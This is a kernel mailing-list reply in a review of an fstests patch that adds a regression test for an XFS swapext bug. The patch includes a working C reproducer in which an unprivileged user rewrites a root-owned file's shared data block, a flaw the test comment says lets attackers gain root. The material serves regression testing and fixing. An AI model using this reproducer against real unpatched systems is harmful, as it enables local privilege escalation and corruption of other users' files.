Re: [PATCH] xfs: add regression test for swapext reflux

["Darrick J. Wong" <djwong@kernel.org>]

On Fri, Oct 09, 2026 at 11:13:53AM -0500, Eric Sandeen wrote:
> On 10/7/26 12:05 PM, Darrick J. Wong wrote:
> > From: Darrick J. Wong <djwong@kernel.org>
> > 
> > This is a regression test for a bug that Norbert Szetei reported in the
> > XFS swapext ioctl.  I've ported his reproducer program to fstests so
> > that everyone can run it.
> 
> A couple things I notice - 
> 
> 1) this still requires EXCHRANGE?
> 2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently

Huh?  Oh, the reproducer actually requires it.  Ok, I'll add a _require
clause here.

> 3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1"
>    requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if
>    it can't, the test fails oddly
> 
> For 3) I think just dropping the $here might fix it?
> 
> su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1"

Yeah.  From commit b7cecbea22ba6d ("fstests: Add path $here before
src/<file>"):

    [Eryu: some tests run src/<file> as regular user, don't add $here
    prefix in such case, as a regular user may have no search permission
    on $here]

<grumble> Will fix.

--D

> -Eric
> 
> > Cc: Norbert Szetei <norbert@doyensec.com>
> > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > ---
> >  src/Makefile              |    2 
> >  src/xfs-swapext-reflink.c |  230 +++++++++++++++++++++++++++++++++++++++++++++
> >  tests/xfs/1939            |   69 ++++++++++++++
> >  tests/xfs/1939.out        |    2 
> >  4 files changed, 302 insertions(+), 1 deletion(-)
> >  create mode 100644 src/xfs-swapext-reflink.c
> >  create mode 100755 tests/xfs/1939
> >  create mode 100644 tests/xfs/1939.out
> > 
> > diff --git a/src/Makefile b/src/Makefile
> > index 211b16a832ad5d..eaf0621fc4b876 100644
> > --- a/src/Makefile
> > +++ b/src/Makefile
> > @@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
> >  	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
> >  	uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
> >  	rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
> > -	xfs-exchange-to-dirty-eof
> > +	xfs-exchange-to-dirty-eof xfs-swapext-reflink
> >  
> >  EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
> >  	      btrfs_crc32c_forged_name.py popdir.pl popattr.py \
> > diff --git a/src/xfs-swapext-reflink.c b/src/xfs-swapext-reflink.c
> > new file mode 100644
> > index 00000000000000..e2a240d5a0af91
> > --- /dev/null
> > +++ b/src/xfs-swapext-reflink.c
> > @@ -0,0 +1,230 @@
> > +// SPDX-License-Identifier: GPL-2.0
> > +
> > +// Trick swapext into screwing up the file reflink flags after data exchange
> > +#include <stdio.h>
> > +#include <stdlib.h>
> > +#include <string.h>
> > +#include <unistd.h>
> > +#include <fcntl.h>
> > +#include <sys/ioctl.h>
> > +#include <sys/stat.h>
> > +#include <sys/vfs.h>
> > +#include <linux/fs.h>
> > +#include <linux/fiemap.h>
> > +
> > +#ifndef FICLONERANGE
> > +#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
> > +#endif
> > +
> > +#ifndef XFS_EXCHANGE_RANGE_TO_EOF
> > +struct xfs_exchange_range {
> > +	__s32		file1_fd;
> > +	__u32		pad;
> > +	__u64		file1_offset;
> > +	__u64		file2_offset;
> > +	__u64		length;
> > +	__u64		flags;
> > +};
> > +#define XFS_IOC_EXCHANGE_RANGE		_IOW('X', 129, struct xfs_exchange_range)
> > +#define XFS_EXCHANGE_RANGE_TO_EOF	(1ULL << 0)
> > +#endif
> > +
> > +#ifndef XFS_IOC_SWAPEXT
> > +typedef struct xfs_bstime {
> > +	long		tv_sec;
> > +	__s32		tv_nsec;
> > +} xfs_bstime_t;
> > +
> > +struct xfs_bstat {
> > +	__u64		bs_ino;
> > +	__u16		bs_mode;
> > +	__u16		bs_nlink;
> > +	__u32		bs_uid;
> > +	__u32		bs_gid;
> > +	__u32		bs_rdev;
> > +	__s32		bs_blksize;
> > +	__s64		bs_size;
> > +	xfs_bstime_t	bs_atime;
> > +	xfs_bstime_t	bs_mtime;
> > +	xfs_bstime_t	bs_ctime;
> > +	__s64		bs_blocks;
> > +	__u32		bs_xflags;
> > +	__s32		bs_extsize;
> > +	__s32		bs_extents;
> > +	__u32		bs_gen;
> > +	__u16		bs_projid_lo;
> > +	__u16		bs_forkoff;
> > +	__u16		bs_projid_hi;
> > +	__u16		bs_sick;
> > +	__u16		bs_checked;
> > +	unsigned char	bs_pad[2];
> > +	__u32		bs_cowextsize;
> > +	__u32		bs_dmevmask;
> > +	__u16		bs_dmstate;
> > +	__u16		bs_aextents;
> > +};
> > +
> > +struct xfs_swapext {
> > +	__s64			sx_version;
> > +#define XFS_SX_VERSION		0
> > +	__s64			sx_fdtarget;
> > +	__s64			sx_fdtmp;
> > +	__s64			sx_offset;
> > +	__s64			sx_length;
> > +	char			sx_pad[16];
> > +	struct xfs_bstat	sx_stat;
> > +};
> > +#define XFS_IOC_SWAPEXT		_IOWR('X', 109, struct xfs_swapext)
> > +#endif
> > +
> > +static unsigned long blksz;
> > +static int peer, f1;
> > +
> > +static unsigned long long phys(int fd, unsigned long long off)
> > +{
> > +	struct { struct fiemap f; struct fiemap_extent e[1]; } q;
> > +
> > +	memset(&q, 0, sizeof q);
> > +	q.f.fm_start = off;
> > +	q.f.fm_length = blksz;
> > +	q.f.fm_extent_count = 1;
> > +	if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
> > +		return 0;
> > +	return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
> > +}
> > +
> > +static void show(const char *tag)
> > +{
> > +	struct stat st;
> > +	int i;
> > +
> > +	fstat(f1, &st);
> > +	printf("%-26s peer [%llu]   file1 size %5lld  [", tag, phys(peer, 0),
> > +	       (long long)st.st_size);
> > +	for (i = 0; i < 3; i++)
> > +		printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
> > +		       i == 2 ? "]\n" : "] [");
> > +}
> > +
> > +static int mkfile(const char *name, char fill, int blocks)
> > +{
> > +	char *buf;
> > +	int fd;
> > +
> > +	unlink(name);
> > +	fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
> > +	if (fd < 0)
> > +		return fprintf(stderr, "open %s: %m\n", name), -1;
> > +	buf = malloc(blocks * blksz);
> > +	memset(buf, fill, blocks * blksz);
> > +	if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
> > +		return fprintf(stderr, "pwrite %s: %m\n", name), -1;
> > +	free(buf);
> > +	fsync(fd);
> > +	return fd;
> > +}
> > +
> > +int main(int argc, char *argv[])
> > +{
> > +	struct xfs_exchange_range xr;
> > +	struct file_clone_range cr;
> > +	struct xfs_swapext sx;
> > +	char before[65536], after[65536], *buf;
> > +	struct statfs sfs;
> > +	struct stat st;
> > +	int d1, d2;
> > +
> > +	if (argc != 3) {
> > +		fprintf(stderr, "Usage: $0 dir path_to_peer\n");
> > +		return 2;
> > +	}
> > +
> > +	if (chdir(argv[1]))
> > +		return perror(argv[1]), 2;
> > +
> > +	if (statfs(".", &sfs))
> > +		return fprintf(stderr, "statfs: %m\n"), 2;
> > +	blksz = sfs.f_bsize;
> > +
> > +	peer = open(argv[2], O_RDONLY);
> > +	if (peer < 0)
> > +		return fprintf(stderr, "open peer: %m\n"), 2;
> > +	fstat(peer, &st);
> > +	printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
> > +	       st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
> > +	if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
> > +		return fprintf(stderr, "read peer: %m\n"), 2;
> > +	syncfs(peer);	/* so FIEMAP reports peer's real block */
> > +
> > +	f1 = mkfile("file1", 'A', 3);
> > +	d1 = mkfile("donor1", 'B', 1);
> > +	d2 = mkfile("donor2", 'C', 1);
> > +	if (f1 < 0 || d1 < 0 || d2 < 0)
> > +		return 2;
> > +	show("start");
> > +
> > +	/* 1. share peer's block into the middle of file1 */
> > +	cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
> > +					.src_length = blksz,
> > +					.dest_offset = blksz };
> > +	if (ioctl(f1, FICLONERANGE, &cr))
> > +		return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
> > +	show("1 FICLONERANGE");
> > +
> > +	/*
> > +	 * 2. exchange file1's last block against the whole of donor1 with
> > +	 * TO_EOF.  The sizes are exchanged too, so file1 claims one block
> > +	 * while still owning three.  file2_offset is block 2, so this exchange
> > +	 * cannot clear a reflink flag.
> > +	 */
> > +	xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
> > +					  .file2_offset = 2 * blksz,
> > +					  .length = 0,
> > +					  .flags = XFS_EXCHANGE_RANGE_TO_EOF };
> > +	if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
> > +		return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
> > +	show("2 EXCHANGE_RANGE TO_EOF");
> > +
> > +	/*
> > +	 * 3. XFS_IOC_SWAPEXT with file1 as the target.  sx_offset is 0 and
> > +	 * sx_length equals both inodes' i_disk_size, so the "Verify all data
> > +	 * are being swapped" test passes.  xfs_swap_extent_rmap() then bounds
> > +	 * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which
> > +	 * is one block, so file1's two mappings above its size are left in
> > +	 * place -- and the reflink flags are swapped anyway, clearing file1's.
> > +	 */
> > +	fsync(f1);
> > +	fsync(d2);
> > +	if (fstat(f1, &st))
> > +		return fprintf(stderr, "fstat file1: %m\n"), 2;
> > +	memset(&sx, 0, sizeof sx);
> > +	sx.sx_version		= XFS_SX_VERSION;
> > +	sx.sx_fdtarget		= f1;
> > +	sx.sx_fdtmp		= d2;
> > +	sx.sx_offset		= 0;
> > +	sx.sx_length		= st.st_size;
> > +	sx.sx_stat.bs_mtime.tv_sec  = st.st_mtim.tv_sec;
> > +	sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec;
> > +	sx.sx_stat.bs_ctime.tv_sec  = st.st_ctim.tv_sec;
> > +	sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec;
> > +	if (ioctl(f1, XFS_IOC_SWAPEXT, &sx))
> > +		return fprintf(stderr, "SWAPEXT: %m\n"), 2;
> > +	show("3 SWAPEXT");
> > +
> > +	/* 4. write to the block file1 still shares with peer */
> > +	buf = malloc(blksz);
> > +	memset(buf, 'X', blksz);
> > +	if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
> > +		return fprintf(stderr, "pwrite: %m\n"), 2;
> > +	fsync(f1);
> > +	show("4 pwrite(file1, 4096)");
> > +
> > +	posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
> > +	if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
> > +		return fprintf(stderr, "re-read peer: %m\n"), 2;
> > +	printf("\npeer first byte %c -> %c   %s\n", before[0], after[0],
> > +	       memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
> > +	return memcmp(before, after, blksz) ? 0 : 1;
> > +}
> > +
> > +
> > diff --git a/tests/xfs/1939 b/tests/xfs/1939
> > new file mode 100755
> > index 00000000000000..b08ea09e977628
> > --- /dev/null
> > +++ b/tests/xfs/1939
> > @@ -0,0 +1,69 @@
> > +#! /bin/bash
> > +# SPDX-License-Identifier: GPL-2.0
> > +# Copyright (c) 2026 Oracle.  All Rights Reserved.
> > +#
> > +# FS QA Test No. 1939
> > +#
> > +# Regression test for an swapext bug which unintentionally results in files
> > +# that share data blocks but don't have the reflink flag set.  This enables
> > +# attackers to rewrite shared blocks to gain root privileges, similar to
> > +# refluxfs.
> > +. ./common/preamble
> > +_begin_fstest auto quick swapext
> > +
> > +. ./common/filter
> > +. ./common/reflink
> > +
> > +_require_test_program "xfs-swapext-reflink"
> > +_require_user fsgqa
> > +_require_group fsgqa
> > +_require_scratch_reflink
> > +_require_xfs_scratch_rmapbt
> > +_require_cp_reflink
> > +
> > +_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
> > +	"xfs: stop exchanging reflink flags when exchanging mappings"
> > +
> > +_scratch_mkfs >> $seqres.full
> > +_scratch_mount
> > +
> > +rootdir=$SCRATCH_MNT/root
> > +userdir1=$SCRATCH_MNT/user1
> > +blksz=$(_get_file_block_size $SCRATCH_MNT)
> > +
> > +# Fill $mnt/peer with "P", run reproducer program
> > +mkdir -p $rootdir $userdir1
> > +$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
> > +$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full
> > +sync
> > +
> > +chown $qa_user:$qa_group $userdir1
> > +chmod +r $rootdir/peer1
> > +
> > +_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1
> > +
> > +echo "Errors from reproducer:" >> $seqres.full
> > +cat $tmp.out1 >> $seqres.full
> > +
> > +# Check for file corruption
> > +grep -q REWRITTEN $tmp.out1 && \
> > +	echo "$rootdir/peer1 rewritten, filesystem corrupt!"
> > +
> > +cmp -s $rootdir/peer.copy $rootdir/peer1 || \
> > +	echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
> > +
> > +# Check reflink flags
> > +_scratch_unmount
> > +_scratch_xfs_db \
> > +	-c "path /user1/file1" -c 'print' \
> > +	| grep v3.reflink
> > +_scratch_mount
> > +
> > +# Check for file corruption now that we've blown away all caches
> > +grep -q REWRITTEN $tmp.out1 && \
> > +	echo "$rootdir/peer1 rewritten, filesystem corrupt!"
> > +
> > +cmp -s $rootdir/peer.copy $rootdir/peer1 || \
> > +	echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
> > +
> > +_exit 0
> > diff --git a/tests/xfs/1939.out b/tests/xfs/1939.out
> > new file mode 100644
> > index 00000000000000..ad52293f986ac6
> > --- /dev/null
> > +++ b/tests/xfs/1939.out
> > @@ -0,0 +1,2 @@
> > +QA output created by 1939
> > +v3.reflink = 1
> > 
>